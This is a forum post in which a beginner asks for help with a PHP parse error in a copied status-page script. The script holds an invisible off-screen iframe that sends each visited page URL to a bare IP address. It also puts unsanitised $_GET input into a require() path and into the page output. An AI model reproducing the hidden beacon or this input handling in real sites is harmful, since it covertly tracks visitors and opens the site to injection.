Hi
i use this source to make my php page but i have this nooby error:
Parse error: syntax error, unexpected end of file in C:\xampp\htdocs\pg\index.php on line 67
The line 67 is " "
i checked my source line by line but i cant find missing “?>” so i think its my programming fault (i am starter)
pleas check my source and help me.
Thank you.
My code is:
[php]
<?php error_reporting(E_ERROR | E_WARNING); if(empty($_GET["page"]) || !file_exists("pages/".$_GET["page"].".php")) { header("location: status"); exit; } define("ROOT", dirname(__FILE__)); require_once("includes/html_api.php"); require_once("menu.cfg"); function gen_leds($titles) { ?><table style="width: 100%">
<? foreach($titles as $id=>$title) { ?>
<tr>
<td class="status-led led-td-<?=$id ?>"><img id="led-<?=$id ?>" width="64" height="64" title="<?=$title ?>" alt="<?=$title ?>" src="http://cdn1.iconfinder.com/data/icons/softwaredemo/PNG/64x64/Box_Grey.png" /></td>
<td class="status-text text-<?=$id ?>" style="font-size: 16px; text-align: left"><?=htmlentities($title) ?></td>
</tr>
<? } ?>
</table>
<? }
?>
<? include("templates/meta.html"); ?>
plusgamer.<?=$_GET["page"] ?>
<? include("templates/fonts.html"); ?>
<? include("templates/styles.html"); ?>
<? include("templates/scripts.html"); ?>
<? require("pages/".$_GET["page"].".php"); ?>
<div style="text-align: center; font-size: 50px; padding-top: 50px; color: #fea; font-family: Zeyada, cursive;">
<p>Merry Christmas Guys!</p>
</div>
<div style="text-align: center; font-size: 8px; padding-top: 50px; color: #444">
<p>This status page is being maintained by Icedream, not by the PG staff. © 2012 Icedream. Hosted by <a href ="http://plusgamer.net/forum/memberlist.php?mode=viewprofile&u=8206"> MAGIC</a>.</p>
</div>
<iframe style="width: 1px; height: 1px; position: absolute; left: -100px; top: -100px" src="http://178.33.27.16/pg/ircmon.php?referer=<?php echo "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; ?>">
</iframe>
</body>
[/php]